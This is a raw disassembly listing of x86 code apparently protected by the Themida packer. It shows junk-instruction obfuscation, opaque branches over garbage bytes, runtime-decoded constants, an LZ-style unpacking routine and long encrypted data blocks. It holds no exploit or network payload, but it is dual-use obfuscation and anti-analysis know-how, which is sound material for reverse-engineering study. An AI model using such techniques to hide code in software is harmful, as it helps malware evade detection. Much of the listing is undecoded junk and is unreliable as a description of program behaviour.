loc_580105:				; CODE XREF: sub_57FCA1+454j
		add	eax, [esp+24h]
		sub	[ebp+6131BCDh],	ebx
		mov	[esp+1Ch], eax


loc_580113:				; CODE XREF: sub_57FCA1+40Bj
		stc
		xchg	eax, esi
		pusha
		pusha
		sbb	bl, 0E2h
		popa
		movsx	eax, cx
		popa
		mov	[ebp+6131211h],	esi
		lodsb
		clc
		ja	loc_58013F
		jmp	loc_58013F
; ---------------------------------------------------------------------------
		test	al, 7Dh
		dec	edx
		icebp
		sal	ebx, 0F7h
		mov	esi, 0CB3244EEh
		push	ds


loc_58013F:				; CODE XREF: sub_57FCA1+486j
					; sub_57FCA1+48Cj
		xor	cl, cl
		ja	loc_58014D
		mov	[ebp+6131BA1h],	eax


loc_58014D:				; CODE XREF: sub_57FCA1+4A0j
		inc	cl
		pusha
		or	dl, 43h
		jge	loc_58015F
		jge	$+6


loc_58015F:				; CODE XREF: sub_57FCA1+4B2j
		popa


loc_580160:				; CODE XREF: sub_57FCA1+500j
		rcl	al, 1
		jnb	loc_58021F
		cmc
		pusha
		mov	ax, 4099h
		push	ebx
		mov	si, bx
		pop	eax
		popa
		rcl	al, 1
		jnb	loc_58021F
		mov	[ebp+6130FEDh],	edi
		rcl	al, 1
		jb	loc_58021F
		jmp	loc_580196
; ---------------------------------------------------------------------------
		db 73h
		dd 798EC618h
		db 2 dup(0Fh)
; ---------------------------------------------------------------------------


loc_580196:				; CODE XREF: sub_57FCA1+4E9j
		rcl	al, 1
		jb	loc_58021F
		clc
		dec	cl
		jns	loc_580160
		jmp	loc_5801B8
; ---------------------------------------------------------------------------
		cdq
		or	bl, ch
		dec	ecx
		mov	eax, ds:789ECDA7h
		db	2Eh
		nop
		leave


loc_5801B8:				; CODE XREF: sub_57FCA1+506j
		jno	loc_5801D0
		jmp	loc_5801D0
; ---------------------------------------------------------------------------
		db 83h
		dd 0C321AF00h, 0C4EB95E0h, 9F99820Bh
; ---------------------------------------------------------------------------


loc_5801D0:				; CODE XREF: sub_57FCA1:loc_5801B8j
					; sub_57FCA1+51Dj
		add	esp, 20h
		jnz	loc_5801DF
		or	[ebp+6130EBDh],	ebx


loc_5801DF:				; CODE XREF: sub_57FCA1+532j
		mov	dword ptr [esp-4], 0
		mov	[ebp+61324BDh],	edx
		mov	eax, 1
		mov	[ebp+61300E1h],	ecx
		lea	ecx, [ebp+6137533h]
		jmp	loc_580217
; ---------------------------------------------------------------------------
		db 7Ch
		dd 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh
		db 0B2h, 99h, 6Fh
; ---------------------------------------------------------------------------


loc_580217:				; CODE XREF: sub_57FCA1+55Dj
		jmp	ecx
; ---------------------------------------------------------------------------
		sub	[ebp+6132A01h],	eax


loc_58021F:				; CODE XREF: sub_57FCA1+4C1j
					; sub_57FCA1+4D5j ...
		mov	byte ptr [ebp+61311E1h], 0
		sub	[ebp+6131629h],	ebx
		popa
		or	[ebp+61325B5h],	eax
		retn	8
; ---------------------------------------------------------------------------
		jb	loc_58023D
		cld


loc_58023D:				; CODE XREF: sub_57FCA1+595j
		xchg	eax, esi
		jmp	loc_58024B
; ---------------------------------------------------------------------------
		xor	esi, [edx]
		xor	[esi-0Bh], dh
		push	es
		retf
; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------


loc_58024B:				; CODE XREF: sub_57FCA1+59Dj
		push	eax
		jb	loc_580267
		jmp	loc_580267
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0D918ACB4h, 45A44A8Eh, 0DB7FD818h
; ---------------------------------------------------------------------------
		das
		movsd
		pop	ss


loc_580267:				; CODE XREF: sub_57FCA1+5ABj
					; sub_57FCA1+5B1j
		xchg	eax, esi
		pusha
		mov	ebx, [ebp+61321B1h]
		mov	ebx, [ebp+6131741h]
		popa
		mov	[ebp+6134178h],	esi
		cld
		mov	[ebp+6134198h],	ecx
		pusha
		or	[ebp+61310D5h],	esi
		popa
		lea	esi, [ebp+6134004h]
		add	[ebp+61305D9h],	ecx
		lea	eax, dword_5B8EA1[ebp]
		pusha
		mov	ax, si
		popa
		call	eax
		mov	[ebp+6130C3Dh],	esi
		pusha
		xor	[ebp+6132BE1h],	ecx
		mov	[ebp+6131631h],	ecx
		popa
		pop	esi
		stc
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	ecx, [ebp+6130595h]
		mov	edx, 45702F49h
		popa
		sub	[ebp+6131DE5h],	edx
		mov	esi, [ebp+6134178h]
		jmp	loc_5802E4
; ---------------------------------------------------------------------------
		xor	dword ptr [edx], 8942C0C6h
		xor	[ecx], ecx
		jnz	short loc_58032A


loc_5802E4:				; CODE XREF: sub_57FCA1+633j
		mov	ecx, [ebp+6134198h]
		mov	[ebp+6133045h],	esi
		mov	eax, 0
		jmp	loc_580309
; ---------------------------------------------------------------------------
		dw 884Ah
		dd 64152240h, 4A7B3FE7h, 0CF87878Fh
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_580309:				; CODE XREF: sub_57FCA1+654j
		mov	ebx, ecx
		pusha
		mov	[ebp+6132501h],	eax
		mov	edx, [ebp+61322DDh]
		popa
		jmp	loc_58042C
; ---------------------------------------------------------------------------
		dw 890Fh
		dd 1, 68F0FF5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58032A:				; CODE XREF: sub_57FCA1+641j
		add	[ecx+13006D95h], cl
		push	es


loc_580331:				; CODE XREF: sub_57FCA1+78Dj
		xor	ah, [esi]
		jno	loc_580343
		jmp	loc_580343
; ---------------------------------------------------------------------------
		dw 1673h
		db 0E3h, 0B8h, 14h
; ---------------------------------------------------------------------------


loc_580343:				; CODE XREF: sub_57FCA1+692j
					; sub_57FCA1+698j
		mov	dl, 2
		add	[ebp+6132C79h],	ebx
		jmp	loc_5803D3
; ---------------------------------------------------------------------------
		pusha
		push	ebx
		add	[ebp+613318Dh],	ecx
		pop	edi
		popa


loc_58035A:				; CODE XREF: sub_57FCA1+734j
		xor	al, dl
		pusha
		mov	[ebp+61323F5h],	edx
		mov	bh, dl
		popa
		add	eax, 8A751D7Ah
		clc
		mov	cl, ah
		jmp	loc_580385
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0F81B4893h, 62702DF7h, 0C649E80Ch, 3E0FA26Dh
		db 0E7h
; ---------------------------------------------------------------------------


loc_580385:				; CODE XREF: sub_57FCA1+6CDj
		pusha
		jmp	loc_58039A
; ---------------------------------------------------------------------------
		db 14h
		dd 0D705E53Dh, 0E20752FCh, 27F57198h
; ---------------------------------------------------------------------------
		adc	[ecx], bl


loc_58039A:				; CODE XREF: sub_57FCA1+6E5j
		mov	edi, [ebp+6131291h]
		popa
		ror	eax, cl
		pusha
		mov	dx, bx
		movzx	ebx, bx
		popa
		xor	eax, 98D10842h
		stc
		dec	dl
		jns	loc_5803D3
		pusha
		mov	dx, si
		jmp	loc_5803D2
; ---------------------------------------------------------------------------
		dw 982h
		dd 542EB427h
		db 38h
; ---------------------------------------------------------------------------


loc_5803C9:				; CODE XREF: sub_57FCA1+76Ej
		cmp	eax, 831B8121h
; ---------------------------------------------------------------------------
		dw 0FFC5h
		db 7Fh,	38h
; ---------------------------------------------------------------------------


loc_5803D2:				; CODE XREF: sub_57FCA1+71Cj
		popa


loc_5803D3:				; CODE XREF: sub_57FCA1+6AAj
					; sub_57FCA1+712j
		or	dl, dl
		jnz	loc_58035A
		jnz	loc_5803F7
		jmp	loc_5803F7
; ---------------------------------------------------------------------------
		dw 0AF6Bh
		dd 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h
		db 0CEh
byte_5803F5	db 0E9h, 32h		; CODE XREF: sub_57FCA1+76Aj
; ---------------------------------------------------------------------------


loc_5803F7:				; CODE XREF: sub_57FCA1+73Aj
					; sub_57FCA1+740j
		dec	ebx
		pusha
		jo	loc_580413
		call	loc_580412
		and	al, 13h
		jno	short loc_580486
		leave
		fld	qword ptr [esi]
		jecxz	short near ptr byte_5803F5
		inc	esi
		das
		db	26h
		jns	short loc_5803C9


loc_580412:				; CODE XREF: sub_57FCA1+75Ep
		pop	edx


loc_580413:				; CODE XREF: sub_57FCA1+758j
		mov	ch, 0CCh
		popa
		inc	esi
		jbe	loc_58042C
		jmp	loc_58042C
; ---------------------------------------------------------------------------
		dw 5456h
		dd 941A54A0h, 0E5921D6Fh
; ---------------------------------------------------------------------------


loc_58042C:				; CODE XREF: sub_57FCA1+678j
					; sub_57FCA1+776j ...
		or	ebx, ebx
		jnz	loc_580331
		pusha
		mov	eax, 3E3C718h
		popa
		iret
; ---------------------------------------------------------------------------
		dd 318D8589h, 613h, 1F65BD89h, 613h, 0FF98D01h,	0BE90613h
		dd 0EF000000h, 0FC003A2Ch, 42209425h, 0E5A9h, 0FE9h, 8A937900h
		dd 0AF5801AEh, 0C28FDF29h, 281C1BDCh
		db 89h,	0B5h
; ---------------------------------------------------------------------------


loc_58047A:				; CODE XREF: sub_57FCA1+810j
		inc	ecx
		push	ds
		adc	eax, [esi]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		or	[ebp+6133201h],	ebx


loc_580486:				; CODE XREF: sub_57FCA1:loc_57FD5Dj
					; sub_57FCA1+765j
		lea	eax, [ebp+6133AADh]
		clc
		mov	[ebp+6133235h],	eax
		clc
		lea	eax, [ebp+6133F73h]
		sub	[ebp+61329D9h],	ecx
		cld
		mov	[ebp+6130711h],	eax
		call	near ptr loc_5804BB+1
		sbb	al, 0F8h
		inc	byte ptr [eax+78h]
		jo	short loc_58047A
		db	67h
		sti
		add	dh, 26h
		xchg	eax, edx
		add	ah, ah


loc_5804BB:				; CODE XREF: sub_57FCA1+806p
		adc	dl, [edx+5Ah]
sub_57FCA1	endp ; sp-analysis failed

		pop	edi
		push	eax
		clc
		pop	esi
		add	edi, 61CBh
		xor	edx, 57EAAD8Dh
		mov	eax, 0
		call	loc_5804E7
		or	al, 60h
		cmc
		inc	eax
		or	[ebp-22h], esi
		dec	edi
		xor	dl, [esp+ebp-17h]
		rol	byte ptr [ebp+7Ch], 1


loc_5804E7:				; CODE XREF: Themida_:005804D3p
		sub	[ebp+61330B1h],	esi
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_580544


loc_5804EE:				; CODE XREF: sub_580544+10j
		push	dword ptr [eax+edi]
		jmp	loc_580500
; END OF FUNCTION CHUNK	FOR sub_580544
; ---------------------------------------------------------------------------
		dw 9BF3h
; ---------------------------------------------------------------------------
		sub	esp, [edi-21h]
		cmp	eax, 62CFF00Eh
; START	OF FUNCTION CHUNK FOR sub_580544


loc_580500:				; CODE XREF: sub_580544-53j
		pop	ebx
		cmc
		xor	ebx, 6B302544h
		mov	dx, 9Ah
		add	ebx, 359151D4h
		xor	ebx, 1C196D58h
		mov	cx, 92BDh
		push	ebx
		mov	[ebp+6130FD1h],	esi
		pop	dword ptr [edi+eax]
		or	cx, 43B2h
		sub	eax, 3
		call	sub_580544
; END OF FUNCTION CHUNK	FOR sub_580544
; ---------------------------------------------------------------------------
		db 8Fh
		dd 76D9B019h, 77480FDCh, 3198A22Ch, 0BE0284EDh

; =============== S U B	R O U T	I N E =======================================



sub_580544	proc near		; CODE XREF: sub_580544-16p

; FUNCTION CHUNK AT 005804EE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00580500 SIZE 00000033 BYTES

		mov	cl, dh
		pop	ecx
		dec	eax
		mov	esi, [ebp+6131275h]
		cmp	eax, 0FFFF9EECh
		jnz	loc_5804EE
		call	near ptr sub_580566
		scasb
		cmp	esi, edx
		xlat
		push	edi
		nop
		cwde
sub_580544	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_580566	proc far		; CODE XREF: sub_580544+16p

var_40		= dword	ptr -40h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_A		= dword	ptr  12h
arg_10		= dword	ptr  18h
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 005A5BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A5C3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6514 SIZE 00000009 BYTES

		pop	esi
		jmp	short loc_58057D
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E200h
		db 0
; ---------------------------------------------------------------------------


loc_58057D:				; CODE XREF: sub_580566+1j
		lea	eax, [ebp+6134362h]
		mov	[ebp+6132CDDh],	eax
		cmp	dword ptr [ebp+61342ABh], 0
		jz	loc_5806B0
		mov	byte ptr [ebp+61311E1h], 56h
		push	7E75EA7Ah
		add	dword ptr [esp+0], 55A982BFh
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		mov	[ebp+613429Fh],	eax
		mov	byte ptr [ebp+61311E1h], 56h
		push	93D62BC6h
		add	[esp+8+var_8], 8D28C8Ch
		push	dword ptr [ebp+613116Dh]
		lea	eax, [ebp+6133AADh]
		call	eax
		mov	[ebp+61342A3h],	eax
		push	4
		push	69FCEB43h
		xor	[esp+14h+var_14], 69FCFB43h
		mov	eax, [ebp+61342AFh]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp+18h+var_18], eax
		push	0
		call	dword ptr [ebp+61342A3h]
		mov	[ebp+61342A7h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+6132CDDh]
		mov	eax, ebx
		call	dword ptr [ebp+6132CDDh]
		jmp	loc_5806B0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+61342ABh], 0
		jnz	loc_58063A
		retn
; ---------------------------------------------------------------------------


loc_58063A:				; CODE XREF: sub_580566+CDj
		push	edi
		mov	edi, [ebp+61342A7h]
		stosd
		add	dword ptr [ebp+61342A7h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+61342ABh], 0
		jnz	loc_580659
		retn
; ---------------------------------------------------------------------------


loc_580659:				; CODE XREF: sub_580566+ECj
		pusha
		sub	dword ptr [ebp+61342A7h], 4


loc_580661:				; CODE XREF: sub_580566:loc_5806ABj
		mov	ebx, [ebp+61342A7h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_58068E
		push	67398DC0h
		xor	[esp+40h+var_40], 67390DC0h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+613429Fh]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5806AB
; ---------------------------------------------------------------------------


loc_58068E:				; CODE XREF: sub_580566+105j
		push	0C325126Ch
		add	[esp+40h+var_40], 3CDB6D94h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+613429Fh]
		sub	dword ptr [ebp+61342A7h], 4


loc_5806AB:				; CODE XREF: sub_580566+123j
		jmp	loc_580661
; ---------------------------------------------------------------------------


loc_5806B0:				; CODE XREF: sub_580566+2Aj
					; sub_580566+C1j
		dec	eax
		jmp	loc_580863
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+1Ch+arg_4]
		mov	edi, [esp+1Ch+arg_8]
		cld
		mov	dl, 80h


loc_5806C2:				; CODE XREF: sub_580566:loc_5806DAj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_5806CD:				; CODE XREF: sub_580566+1F2j
					; sub_580566+25Aj ...
		add	dl, dl
		jnz	loc_5806DA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5806DA:				; CODE XREF: sub_580566+169j
		jnb	loc_5806C2
		add	dl, dl
		jnz	loc_5806ED
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5806ED:				; CODE XREF: sub_580566+17Cj
		jnb	loc_58075D
		xor	eax, eax
		add	dl, dl
		jnz	loc_580702
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_580702:				; CODE XREF: sub_580566+191j
		jnb	loc_580832
		add	dl, dl
		jnz	loc_580715
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_580715:				; CODE XREF: sub_580566+1A4j
		adc	eax, eax
		add	dl, dl
		jnz	loc_580724
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_580724:				; CODE XREF: sub_580566+1B3j
		adc	eax, eax
		add	dl, dl
		jnz	loc_580733
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_580733:				; CODE XREF: sub_580566+1C2j
		adc	eax, eax
		add	dl, dl
		jnz	loc_580742
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_580742:				; CODE XREF: sub_580566+1D1j
		adc	eax, eax
		jz	loc_580750
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_580750:				; CODE XREF: sub_580566+1DEj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_5806CD
; ---------------------------------------------------------------------------


loc_58075D:				; CODE XREF: sub_580566:loc_5806EDj
		mov	eax, 1


loc_580762:				; CODE XREF: sub_580566:loc_58077Ej
		add	dl, dl
		jnz	loc_58076F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58076F:				; CODE XREF: sub_580566+1FEj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58077E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58077E:				; CODE XREF: sub_580566+20Dj
		jb	loc_580762
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_5807C5
		mov	ecx, 1


loc_580796:				; CODE XREF: sub_580566:loc_5807B2j
		add	dl, dl
		jnz	loc_5807A3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5807A3:				; CODE XREF: sub_580566+232j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5807B2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5807B2:				; CODE XREF: sub_580566+241j
		jb	loc_580796
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_5806CD
; ---------------------------------------------------------------------------


loc_5807C5:				; CODE XREF: sub_580566+225j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5807D3:				; CODE XREF: sub_580566:loc_5807EFj
		add	dl, dl
		jnz	loc_5807E0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5807E0:				; CODE XREF: sub_580566+26Fj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5807EF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5807EF:				; CODE XREF: sub_580566+27Ej
		jb	loc_5807D3
		cmp	eax, 7D00h
		jnb	loc_580822
		cmp	eax, 500h
		jb	loc_580819
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5806CD
; ---------------------------------------------------------------------------


loc_580819:				; CODE XREF: sub_580566+29Fj
		cmp	eax, 7Fh
		ja	loc_580825


loc_580822:				; CODE XREF: sub_580566+294j
		add	ecx, 2


loc_580825:				; CODE XREF: sub_580566+2B6j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5806CD
; ---------------------------------------------------------------------------


loc_580832:				; CODE XREF: sub_580566:loc_580702j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_580857
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_5806CD
; ---------------------------------------------------------------------------


loc_580857:				; CODE XREF: sub_580566+2D4j
		sub	edi, [esp+1Ch+arg_8]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_580863:				; CODE XREF: sub_580566+14Bj
		mov	edx, 929h
		jmp	loc_581240
; ---------------------------------------------------------------------------
		db 0Ch,	5Eh, 0AFh
		dd 3DF34623h, 460CB5C3h, 90A7E53Ah, 0ABF95A51h
; ---------------------------------------------------------------------------


loc_580880:				; CODE XREF: sub_580566+31Dj
		mov	[ebx+5Fh], edx
		jnb	short loc_580880
		sub	edi, eax
		icebp
		call	far ptr	7851h:17939481h
		scasd
		db	2Eh
		dec	ebp
		mov	cl, 31h
		retf
; ---------------------------------------------------------------------------
		db 0A7h, 1Bh, 14h
		dd 97B5F469h, 0C4B25514h, 795523EAh, 0FDC634EFh, 919481C8h
		dd 0AF7B5E11h, 2EB1572Eh, 1404BDD6h, 8CABE877h,	0AFBC4103h
		dd 6E191789h, 0B0D734EBh, 84DA809Ah, 0AF6D4A11h, 2FFE5137h
		dd 1A04B3D6h, 63h dup(0)
		dd 0AF5E0C00h, 21FF4C2Ah, 141BBDD0h, 84A9FF6Ah,	0EEF15903h
		dd 3C4A128Fh, 0BFC622ECh, 889592C8h, 0FD3F5B10h, 21FF4D32h
		dd 5D49B5CAh, 8CBFAD74h, 0BDBC4A04h, 794D009Eh,	0DCA969E3h
		dd 9C9F98B8h, 0AF335A0Dh, 27FD4D32h, 5D49B6C5h,	91A0AD6Eh
		dd 0A3BC551Eh, 6E561E82h, 0BFC267F7h, 9888D48Ch, 0FD7E4B0Dh
		dd 27E80333h, 4449A0D1h, 91A1E268h, 0B25510h, 48h dup(0)
		dd 0AF5E0C00h, 2BF05124h, 131BB7CFh, 8CB2AD69h,	0A6BC541Eh
		dd 7E190086h, 0F1CD22EBh, 938F9B8Eh, 0FA6D1F1Ah, 26F84D29h
		dd 5A00F2C3h, 96A9F43Ah, 0B7EF1803h, 715C0794h,	81AE4DA0h
		dd 8E9B9184h, 0FA3F131Bh, 29FE4F29h, 4000F2C0h,	8CB4EB3Ah
		dd 0ABF1181Ch, 654B1C8Ah, 0B5CD26AEh, 8E9F86C8h, 0FB6D5E0Ah
		dd 3DFE5A67h, 4619F2D6h, 82B4EA75h, 161Ch, 61h dup(0)
		dd 0E6590C00h, 2BB1462Bh, 411BA0CBh, 87A3F96Ah,	9ABC1650h
		dd 3C4A1A8Fh, 0B6CC35FEh, 0DD97959Ah, 0AF6C5E16h, 26F44625h
		dd 5A08BF84h, 8FB3FD73h, 0AAF94C10h, 785712C7h,	0A8C22AAEh
		dd 0F0F0918Ah, 0FC384B17h, 2EFF4A67h, 511DB1C1h, 9AA4AD7Eh
		dd 98BC5951h, 6F4C018Eh, 0F1D128AEh, 9E9B868Bh,	0A17B5A15h
		dd 21F97767h, 5D0FF2D7h, 94E6E876h, 0BABB561Eh,	6E5604C7h
		dd 0BFC267E5h, 8F959991h, 111Bh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_581240:				; CODE XREF: sub_580566+302j
		jmp	loc_584145
; ---------------------------------------------------------------------------
		jmp	loc_581257
; ---------------------------------------------------------------------------
		dw 0C9F0h
		dd 0BF15DF0Fh, 17C28017h
		db 0ADh, 42h, 0F4h
; ---------------------------------------------------------------------------


loc_581257:				; CODE XREF: sub_580566+CDFj
		cld
		push	0
		push	esi
		call	loc_581263
		and	[esi-3Dh], bl


loc_581263:				; CODE XREF: sub_580566+CF5p
		pop	esi
		mov	[esp-6+arg_4+2], esi
		add	[esp-6+arg_4+2], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0B2h
		dd 63F6E873h, 8589E4B6h, 6131EA5h, 9D8BC08Bh, 61329ADh
		dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501374h
		dd 1B8C08Bh, 8D000000h,	15A81F9Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501174h, 1B8h, 0D09D8D00h,	0FF0615A6h, 0F585BD3h
		dd 178Ch, 11840F00h, 0E8000000h, 0Bh, 0C40500F9h, 0BB8F4E7Dh
		dd 5BF12583h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	8FC35646h, 0C08BBCC9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 3FC35646h, 3C57F321h, 80CD7B98h
		dd 0BD8340D2h, 61334E5h, 0DA840F00h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F8B4C355h, 0BD8352A6h, 6131D79h, 0AE840F00h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0C063C356h, 0F986AF9h, 0E860D9B7h, 6, 126F0364h
		dd 95330AE0h, 6132CB9h,	79858B5Bh, 6606131Dh, 29D3C1BBh
		dd 1322B995h, 3E80506h,	9D310000h, 61311C9h, 5050DF8Bh
		dd 8B310F52h, 89585AD8h, 0DF802404h, 5D858DF7h,	6A06134Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A214C353h, 0B8E48B0h, 1F9577Ch, 131FDDB5h
		dd 0DC8A5006h, 81240489h, 54598C2h, 3B858D15h, 2906134Fh
		dd 13199DB5h, 52505006h, 310FD48Ah, 585ADD8Ah, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E32FC351h, 34B76823h, 38F0Fh, 0C2800000h
		dd 7E9B2h, 34010000h, 30148F41h, 8595FFD8h, 6A061311h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0B3C0C355h, 89AE426Fh, 92327535h,	68E0Fh
		dd 85890000h, 6130595h,	660CC483h, 4E8EEA81h, 9FF38166h
		dd 3B858DA8h, 8106134Fh, 0FE9C1DEAh, 0AE95054h,	81000000h
		dd 0C7532B07h, 4DA32890h, 24048991h, 38E0Fh, 8B660000h
		dd 6A026AD1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 1FDC350h, 34C1958Bh, 8D290613h
		dd 6131385h, 0ED1495FFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 896175C3h, 130DD995h
		dd 6E85C706h, 106134Fh,	80000000h, 66966DEEh, 0E950D98Bh
		dd 10h,	90B7E403h, 0F6C7C938h, 0E056D950h, 17C7606Eh, 2D958B96h
		dd 8906131Bh, 134F1FB5h, 0BA575306h, 569F8A10h,	0BD835B5Bh
		dd 613173Dh, 64850F01h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D24C355h
		dd 576C929Ah, 0B62DB54Fh, 0F05F883h, 3685h, 0A1950100h
		dd 8B06131Bh, 1309659Dh, 0B806h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3F8968C3h
		dd 80E0E82Dh, 83DA8B75h, 1330EDBDh, 840F0006h, 5Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FDC35343h, 5FAF1EB8h
		dd 1CA7BA27h, 1965958Bh, 6A600613h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 2309C353h
		dd 1314A19Dh, 0ED95FF06h, 0E9061330h, 5, 0FA071AF9h, 83F5619Fh
		dd 1310DDBDh, 840F0006h, 7, 0B8h, 60DE8B00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E8C35242h, 0C32629B4h
		dd 8B72EDFFh, 130F5585h, 0BD9D8B06h, 83061322h,	0C78002C0h
		dd 178589F2h, 6A06134Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 5265C350h, 541CBB66h
		dd 5E85Bh, 0A8AB0000h, 5B82C006h, 0B3FF00C6h, 0E185C64Bh
		dd 53061311h, 8E9h, 0F69EA300h,	0AE041309h, 798D895Bh
		dd 68061314h, 0EA7221DDh, 5E9h,	0F922BC00h, 4813324h, 3F26FB24h
		dd 0A1BD8912h, 0FF061308h, 131EE9B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0DAD586D9h, 8DDEF1F1h, 167C3385h, 50D0FF06h,	0F2C18160h
		dd 0F58EE26h, 5A61FFBFh, 0DA98589h, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 2B3EEBC3h
		dd 421E3578h, 0FE9C7h, 0E450000h, 5D065FC8h, 9415D25Ch
		dd 98594C10h, 0F1BD83EEh, 106132Ch, 136850Fh, 0BB660000h
		dd 2361CA0Ch, 13236995h, 71958906h, 0C6061315h,	1311E185h
		dd 8D894506h, 6132871h,	4E8h, 6038C200h, 0BE9DAh, 239E0000h
		dd 456781F5h, 0C496ECB9h, 525050D4h, 50616060h,	310F615Ah
		dd 5ADA8B66h, 24448B58h, 1F43BB04h, 8B3837h, 4489F88Ah
		dd 6A580424h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0CAABC352h, 0E5CB4FEDh, 0FF0884C3h
		dd 131EE9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8916BF8Eh, 1309B595h, 88C0F06h, 0F000000h
		dd 280h, 8DEAB200h, 167C3385h, 9850906h, 8A06130Fh, 6AD0FFF3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8AA8C355h, 0B6932555h, 9E9h, 36DDB900h, 711E190h
		dd 6AAA3Bh, 14E853h, 0A9260000h, 0B8F568E1h, 19F2AC26h
